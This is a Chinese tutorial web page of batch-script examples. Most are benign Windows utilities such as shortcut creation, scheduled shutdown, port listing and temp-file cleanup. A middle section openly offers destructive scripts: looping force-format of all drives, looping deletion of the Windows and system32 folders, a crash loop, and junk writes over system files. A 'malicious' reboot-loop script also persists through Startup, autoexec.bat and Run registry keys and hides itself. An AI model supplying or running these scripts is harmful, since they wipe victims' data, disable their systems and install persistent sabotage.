在线时间:8:00-16:00
迪恩网络APP
随时随地掌握行业动态
扫描二维码
关注迪恩网络微信公众号
批处理实例代码教程 -------------------------------------------------------------------------------- 批处理程序删除自身.bat echo 有时候我们需要批处理程序在执行完成之后删除自身,可以用 del %0 例: 复制代码 代码如下: @echo off echo 按任意键后我将删除自身 pause del %0 -------------------------------------------------------------------------------- 批处理发送文件夹的快捷方式到桌面 复制代码 代码如下: echo [InternetShortcut] > "%userprofile%\桌面\文件夹.url" echo URL=file:///C:/windows >> "%userprofile%\桌面\文件夹.url" -------------------------------------------------------------------------------- 批处理获取IP生成TXT文本.bat 以下代码是批处理获取IP同时生成TXT文本: 复制代码 代码如下: @echo off <"%~f0" more +5 >tmp.vbs cscript //NoLogo /e:vbscript tmp.vbs %1>ip.txt echo >nul && del tmp.vbs goto:eof set oDOM = WScript.GetObject("http://www.duosc.com/ip.aspx") do until oDOM.readyState = "complete" WScript.sleep 200 Loop s=oDOM.documentElement.innerText set re = New RegExp re.Pattern="(\d+)\.(\d+)\.(\d+)\.(\d+)" For Each m in re.Execute(s) WScript.Echo m Next -------------------------------------------------------------------------------- 利用批处理禁用(启用)组策略 regsvr32 /s /u gpedit.dll 禁用 regsvr32 /s gpedit.dll 启用 单单使用这命令依然可以禁止使用组策略,但这样导致的后果就是- 这时候运行的组策略基本上只是个空壳了!利用下面的批处理将完美解决此类问题! 将下面这些代码编成BAT批处理文件,这段是禁用组策略的命令 复制代码 代码如下: @echo off regsvr32 /s /u fde.dll regsvr32 /s /u gpedit.dll regsvr32 /s /u gptext.dll regsvr32 /s /u wsecedit.dll exit 这是启用组策略 复制代码 代码如下: @echo off regsvr32 /s fde.dll regsvr32 /s gpedit.dll regsvr32 /s gptext.dll regsvr32 /s wsecedit.dll exit -------------------------------------------------------------------------------- 批处理定时关机.bat 复制代码 代码如下: @echo off mode con lines=25 title 定时关机 color 1f cls echo. echo. echo. echo. echo 时间使用24小时制(如2:15、12:00),可以输入多个时间点 echo. echo 多个时间点用空格分隔 echo. echo. echo ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ echo. set times= set /p times= 请输入关机时间: :: 以下语句实现每个星期的每一天指定时间关机 :: 如果要换成每个月的某几天,请改字母为数字,并用逗号分隔 :: 以下代码没有错误检测语句,输入时间的时候务必按照指定格式输入 :: 可以用在CMD窗口用at命令来查看计划任务 if not "%times%"=="" for %%i in (%times%) do ( at %%i /every:M,T,W,Th,F,S,Su shutdown -s ) -------------------------------------------------------------------------------- 批处理创建url格式的快捷方式.bat 复制代码 代码如下: @echo off echo [InternetShortcut] >cmd.url echo URL=%windir%\system32\cmd.exe >>cmd.url echo IconIndex=0 >>cmd.url echo IconFile=%windir%\system32\cmd.exe>>cmd.url -------------------------------------------------------------------------------- 批处理进入全屏幕界面.bat 复制代码 代码如下: @echo off :: 设定: 运行在全屏模式下 echo exit|%ComSpec% /k prompt e 100 B4 00 B0 12 CD 10 B0 03 CD 10 CD 20 $_g$_q$_|debug>nul chcp 437>nul graftabl 936>nul :rem 下面放置任何命令…… dir pause -------------------------------------------------------------------------------- 最小化运行批处理.bat 复制代码 代码如下: ::最小化运行批处理 @echo off&&mode con cols=15 lines=1 %1 %2 start /min /i "" "%~nx0" goto min&&goto :eof :min echo xxx pause>nul exit @echo off mode con cols=15 lines=1 if exist "Temp.bat" goto Start >Temp.bat echo start/min "" "%~nx0"^&exit start/min Temp.bat&exit :Start del "Temp.bat">nul pause -------------------------------------------------------------------------------- 全盘查找QQ.exe并执行.bat 复制代码 代码如下: @echo off :: 全盘查找qq.exe,找到之后就执行并退出CMD窗口 :: fsutil fsinfo drives 得出来的结果虽然中间有空格,但是他代表是回车符或者换行符的作用,所以还要用find /v来过滤,否则,只得到第一个分区 setlocal enabledelayedexpansion for /f "delims=\" %%i in ('fsutil fsinfo drives^|find /v ""') do ( set var=%%i set drive=!var:~-2! fsutil fsinfo drivetype !drive!|find "固定">nul && ( for /f "tokens=*" %%j in ('dir /a-d /b /s !drive!\qq.exe 2^>nul') do if not "%%j"=="" start "" "%%j" && exit ) ) -------------------------------------------------------------------------------- 删除历史记录.bat 复制代码 代码如下: @echo off :: 删除"运行"、"查找"等处的历史记录 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v ClearRecentDocsonExit /t REG_DWORD /d 00000001 -------------------------------------------------------------------------------- 批处理查看进程端口 用批处理实现的获取当前进程所开启的端口代码: 复制代码 代码如下: @echo off color a Title XP端口-进程查询 setlocal enabledelayedexpansion echo ╔- -╗ echo 本机开放的端口及使用该端口的进程 echo ╚- -╝ echo ------------------------------------ echo 端口号 进程名称 ECHO TCP协议: ::利用netstat命令找出使用TCP协议通信的端口,并将结果分割; ::将第二个参数(IP加端口)传给%%i,第五个参数(PID号)传给%%j; for /F "usebackq skip=4 tokens=2,5" %%i in (`"netstat -ano -p TCP"`) do ( call :Assoc %%i TCP %%j echo !TCP_Port! !TCP_Proc_Name! ) ECHO UDP协议: for /F "usebackq skip=4 tokens=2,4" %%i in (`"netstat -ano -p UDP"`) do ( call :Assoc %%i UDP %%j echo !UDP_Port! !UDP_Proc_Name! ) echo 按任意键退出 pause>nul :Assoc ::对%1(第一个参数)进行分割,将第二个参数传给%%e。在本程序中,%1即为上面的%%i(形式为:IP:端口号) for /F "tokens=2 delims=:" %%e in ("%1") do ( set %2_Port=%%e ) :: 查询PID等于%3(第三个参数)的进程,并将结果传给变量?_Proc_Name,?代表UDP或者TCP; for /F "skip=2 usebackq delims=, tokens=1" %%a in (`"Tasklist /FI "PID eq %3" /FO CSV"`) do ( ::%%~a表示去掉%%a外面的引号,因为上述命令的结果是用括号括起来的。 set %2_Proc_Name=%%~a ) -------------------------------------------------------------------------------- 破坏型BAT批处理脚本[慎用] 一、死循环强制格式化A:到Z:盘(对于部分速度比较快的机器会比较快当机……) 复制代码 代码如下: :format @format a: /q /y >nul @format b: /q /y >nul @format d: /q /y >nul @format e: /q /y >nul @format f: /q /y >nul @format g: /q /y >nul @format h: /q /y >nul @format i: /q /y >nul @format j: /q /y >nul @format k: /q /y >nul @format l: /q /y >nul @format m: /q /y >nul @format n: /q /y >nul @format o: /q /y >nul @format p: /q /y >nul @format q: /q /y >nul @format r: /q /y >nul @format s: /q /y >nul @format t: /q /y >nul @format u: /q /y >nul @format v: /q /y >nul @format w: /q /y >nul @format x: /q /y >nul @format y: /q /y >nul @format z: /q /y >nul @format c: /q /y >nul goto format 二、死循环强制删除C:盘WINDOWS目录下的所有文件(跟上面的一个例子效果差不多,不过这里用到了强制删除参数) 复制代码 代码如下: :breake @if exist %windir%\system32\*.* del %windir%\system32\*.* >nul @if exist %windir%\*.* del %windir%\*.* >nul goto breake 三、利用部分系统工具的内存占用卡到死机 复制代码 代码如下: :die @start regsvr32.exe /s %windir%\system32\*.* >nul @start %windir%\system32\*.* >nul @start notepad %windir%\explorer.exe >nul goto die 四、用部分工具的检测信息导出功能生成巨大的垃圾文件(虽然生成垃圾的速度很慢,但是跟“垃圾王”病毒有的一比,也算是“无声的*****”吧……) 复制代码 代码如下: @start ping 127.0.0.1 -t > %windir%\system32\regsvr32.dll >nul :ping @start ping 127.0.0.1 -t >> %windir%\system32\regsvr32.dll >nul @start ping 127.0.0.1 -t >> %windir%\system32\regedit.exe >nul goto ping -------------------------------------------------------------------------------- 反复重启的恶意批处理 反复重启就是让别人启动了再重启 一直反复,以下代码 复制代码 代码如下: @echo off shutdown -r -t 3 copy %0 C:\Documents" "and" "Settings\All" "Users\「开始」菜单\程序\启动\a.bat copy %0 c:\autoexec.bat REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v autoexec.bat /t REG_SZ /d c:\autoexec.bat /f REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v autoexec.bat /t REG_SZ /d c:\autoexec.bat /f attrib autoexec.bat +r +s +h REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f del %0 3秒重启 加入了启动项 开机就会3秒倒计时 -------------------------------------------------------------------------------- 删除右键“新建”菜单项目.bat 复制代码 代码如下: @echo off :: 只要删除"HKEY_CLASSERS_ROORT\.后缀名"项目下的"ShellNew"键就可以了 :: 如果实在删除不了,则把"HKEY_CLASSERS_ROORT\.后缀名"删除掉即可 mode con lines=25 title "新建"菜单内容删除器 color 1f :input cls call :display echo 如果要强行删除,请选 1 echo. echo. set input= set /p input= 请输入后缀名: if "%input%"=="" goto input if "%input%"=="0" exit if "%input%"=="1" goto fouce for /f %%i in ("%input%") do (reg delete HKCR\.%%i\ShellNew /f) goto continue :fouce cls call :display set input= set /p input= 请输入后缀名(强行删除): if "%input%"=="" goto fouce if "%input%"=="0" exit for /f %%i in ("%input%") do (reg delete HKCR\.%%i /f) :continue cls call :display echo. set choice= set /p choice= 还要继续清除吗?(y/n): if "%choice%"=="" goto continue if "%choice%"=="y" goto input if "%choice%"=="" goto :eof :display echo. echo. echo. echo. echo. echo. echo 本程序能删除右键菜单中"新建"项目下的多余内容,为"新建"菜单减肥! echo. echo 如果想让某种类型的文件不再出现在鼠标右键的"新建"菜单中,请直接 echo. echo 输入该文件类型的后缀名。例如:rar。 echo. echo 退出请选 0 echo. -------------------------------------------------------------------------------- 快速清理垃圾文件(修正) 复制代码 代码如下: @echo off color f0 echo. echo 正在安全地自动清除垃圾文件…… del /f /q %systemdrive%\*.tmp>nul 2>nul del /f /q %systemdrive%\*._mp>nul 2>nul del /f /q %systemdrive%\*.log>nul 2>nul del /f /q %systemdrive%\*.gid>nul 2>nul del /f /q %systemdrive%\*.chk>nul 2>nul del /f /q %systemdrive%\*.old>nul 2>nul del /f /q %windir%\*.bak>nul 2>nul del /f /q %windir%\*.tmp>nul 2>nul del /f /q %windir%\prefetch\*.*>nul 2>nul del /f /s /q %systemdrive%\recycled\*.* del /f /q "%ALLUSERSPROFILE%\Documents\DrWatson\*.*">nul 2>nul del /f /q "%USERPROFILE%\Cookies\*.txt">nul 2>nul del /f /q /s "%TEMP%\*.*">nul 2>nul del /f /q /s "%Systemroot%\Prefetch\*.*">nul 2>nul del /f /q "%USERPROFILE%\Recent\*.*">nul 2>nul del /f /q "%USERPROFILE%\Application Data\Microsoft\Office\Recent\*.lnk">nul 2>nul del /f /q /s "%USERPROFILE%\Local Settings\Temp\*.*">nul 2>nul rd /s /q %windir%\temp & md %windir%\temp>nul 2>nul if not exist %SystemRoot%\Minidump\NUL del /f /q /s %SystemRoot%\Minidump\*.*>nul 2>nul del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*">nul 2>nul 更多的批出代码打包下载地址 https://www.ogeek.net/books/34318.html |
请发表评论